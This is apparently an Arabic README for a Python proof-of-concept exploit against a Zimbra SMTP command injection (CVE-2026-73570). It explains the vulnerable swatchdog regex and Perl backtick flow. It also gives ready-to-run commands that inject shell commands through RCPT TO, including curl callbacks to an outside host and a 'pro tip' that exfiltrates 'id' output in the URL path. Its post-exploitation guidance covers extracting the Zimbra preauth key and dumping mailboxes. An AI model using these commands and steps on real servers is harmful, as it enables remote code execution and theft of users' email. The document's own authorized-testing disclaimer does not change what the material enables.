
# Python PoC لـ CVE-2026-73570، حقن أوامر SMTP في Zimbra. يرسل حمولات RCPT TO غير صالحة لتفعيل تنفيذ أوامر الصدفة عبر swatchdog، مع فحص تلقائي للمنافذ والتحقق خارج النطاق (OOB).
سكربت Python مخصص ومنخفض المستوى (PoC) لاختبار ثغرات حقن أوامر SMTP (CVE-2026-73570).
تقوم هذه الأداة بإرسال عنوان RCPT TO غير صالح يحتوي على استبدال أوامر بنمط شل (مثل $(command)) لتحديد ما إذا كان خادم البريد المستهدف أو خط معالجة البيانات اللاحق الخاص به يمرر العنوان عبر شل دون تعقيم.
⚠️ إخلاء مسؤولية: هذه الأداة مخصصة للأغراض التعليمية واختبارات الأمان المصرح بها فقط. تأكد من حصولك على إذن صريح لاختبار البنية التحتية المستهدفة. الفحص أو الاستغلال غير المصرح به لخوادم البريد غير قانوني.
ليست كل خوادم Zimbra معرضة للثغرة. يجب أن تتحقق جميع هذه الشروط:
zimbra-snmp الاختيارية مثبتة (غالبًا ما يُطلب ذلك أثناء التثبيت).snmp_notify).swatchdog قيد التشغيل (مفعّلة افتراضيًا).سطح الهجوم: لا يحتاج الهجوم إلى تعريض SNMP (UDP/161/162) للمهاجم. يصل الإدخال الخبيث عبر SMTP القياسي.
تقوم عملية swatchdog بتتبع /var/log/zimbra.log باستخدام الإعدادات من /opt/zimbra/conf/swatchrc.in. وهي تطابق إدخالات السجل بنشاط باستخدام التعبيرات النمطية التالية:
/: Service status change: (\S+) (.*) changed from stopped to running/
/: Service status change: (\S+) (.*) changed from running to stopped/
يتم التعامل مع مجموعة الالتقاط (.*) كاسم خدمة. يقوم سكربت dosnmp بعد ذلك بإقحام النص الملتقط مباشرة في أمر Perl بعلامات backtick snmptrap. نظرًا لأن علامات backtick في Perl تُنفَّذ عبر شل النظام، فإن أي محارف شل واردة في (.*) يتم تقييمها وتنفيذها.
يحصل المهاجمون على النص الخبيث في السجل عن طريق إرسال أمر SMTP (مثل RCPT TO) بحيث تبدو وسيطته كسطر حقيقي لحالة الخدمة. يسجل Postfix هذا كصيغة عنوان غير قانونية، لكن swatchdog لا يزال يطابق التعبير النمطي في سطر السجل ويمرر الحمولة إلى الشل.
smtplib القياسية في Python لإرسال حمولات خام غير متوافقة مع RFC تمامًا كما يفعل المهاجم.--command.argparse لسهولة التكامل في سير عمل الاختبار.احفظ السكربت في ملف باسم CVE-2026-73570.py (أو أي اسم تفضله):
# مثال: تنزيل أو إنشاء الملف
nano CVE-2026-73570.py
يمكنك تشغيل السكربت بعدة طرق اعتمادًا على سيناريو الاختبار الخاص بك.
إذا لم تحدد منفذًا، سيقوم السكربت بفحص المنافذ 25 و465 و587، ويستهدف تلقائيًا أول منفذ مفتوح.
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://your-unique-id.requestrepo.com"
إذا كنت تعرف المنفذ المستهدف بالفعل (مثل 465)، يمكنك تخطي تخمين الفحص.
python3 CVE-2026-73570.py --host 127.0.0.1 --port 465 --command "curl http://your-unique-id.requestrepo.com"
إذا كنت تريد فقط التحقق من منافذ البريد المفتوحة على هدف دون إرسال الحمولة.
python3 CVE-2026-73570.py --host 127.0.0.1 --scan-only
| Argument | Short | Description | Default |
|---|---|---|---|
--host | -H | عنوان IP أو نطاق المضيف المستهدف. | 127.0.0.1 |
--port | -p | المنفذ المستهدف. إذا تم حذفه، يفحص 25 و465 و587 ويستهدف منفذًا مفتوحًا. | None (تلقائي) |
--command | -c | أمر الشل لحقنه في حمولة SMTP. | TEST_PAYLOAD |
--scan-only | -s | فحص المنافذ فقط والخروج دون إرسال حمولة الحقن. | False |
تشغيل السكربت وحده يثبت فقط أن خادم البريد يستقبل عنوان RCPT TO غير الصالح. لتأكيد حقن الأوامر الفعلي دون الحاجة إلى وصول مباشر إلى نظام الملفات أو السجلات على الهدف، استخدم استدعاء خارج النطاق (OOB) عبر HTTP.
http://xyz123.requestrepo.com).curl للوصول إلى عنوان URL الفريد الخاص بك:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com"
نصيحة احترافية (سرقة البيانات): يمكنك سرقة مخرجات الأوامر عن طريق حقنها في مسار URL لاستدعائك:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com/$(id | tr -d ' ')"
تحقق من لوحة تحكم Request Repo لرؤية مخرجات uid=0(root) في المسار المطلوب.
أثناء الاختبار، قد تتلقى استجابة SMTP مثل هذه:
[<] RCPT TO: 554 554 5.7.1 <[email protected]>: Recipient address rejected: Access denied
لا تفترض أن الثغرة قد فشلت لمجرد رفض العنوان.
العديد من خوادم البريد (مثل Postfix أو Exim) ستقبل الحمولة نحويًا أثناء معاملة SMTP، لكنها ترفض فورًا محاولة التسليم لأن النطاق/المستلم ليس في قائمة إعادة التوجيه المسموح بها.
تحدث ثغرة CVE-2026-73570 بعد حدوث هذا الرفض. تتدفق السلسلة الخبيثة إلى /var/log/zimbra.log كإدخال سجل لصيغة عنوان غير قانونية. يتتبع swatchdog هذا السجل، ويطابق الحمولة، ويمررها إلى الشل.
نظرًا لأن الحمولة لا تزال تصل إلى هذه الأنظمة الخلفية للتسجيل، فإن استبدال الأوامر ($()) لا يزال يُنفَّذ. اعتمد دائمًا على استدعاء OOB الخاص بك (مثل Request Repo) للتحقق من النجاح، بغض النظر عن رمز استجابة SMTP.
بمجرد تحقيق تنفيذ الأوامر عبر حقن swatchdog، يعمل المهاجم عادةً كمستخدم zimbra. من هنا، غالبًا ما يكون الهدف الأساسي هو الوصول إلى بيانات صندوق البريد.
لتسهيل هذه الخطوة التالية، يمكنك استخدام zimbraKing — أداة مخصصة مصممة لتفريغ صناديق بريد Zimbra.
سيناريو الاستخدام:
خلال مرحلة ما بعد الاستغلال، إذا كنت قادرًا على قراءة ملفات إعدادات Zimbra واستخراج preAuthKey (الموجود عادةً في /opt/zimbra/conf/localconfig.xml تحت المفتاح zimbra_preauth_key) أو إذا حصلت على بيانات اعتماد صالحة لحساب Zimbra، يمكنك إدخالها في zimbraKing.
تستخدم الأداة preAuthKey أو بيانات اعتماد الحساب للمصادقة ضد واجهة SOAP API الخاصة بـ Zimbra وتفريغ محتويات صندوق البريد المستهدف بشكل منهجي دون الحاجة إلى التفاعل المباشر مع قاعدة البيانات أو نظام الملفات الأساسي.
smtplib؟تفرض مكتبة smtplib المدمجة في Python معايير RFC صارمة. إذا حاولت تمرير عنوان يحتوي على "، $، (، و) عبر smtplib.sendmail()، فستقوم المكتبة إما بتشويه السلسلة لجعلها "آمنة" أو ستُطلق استثناء SMTPRecipientsRefused قبل وصول البيانات إلى الشبكة. يستخدم هذا العميل المخصص مآخذ خام (raw sockets) لضمان تسليم الحمولة الاستغلالية بايتًا ببايت.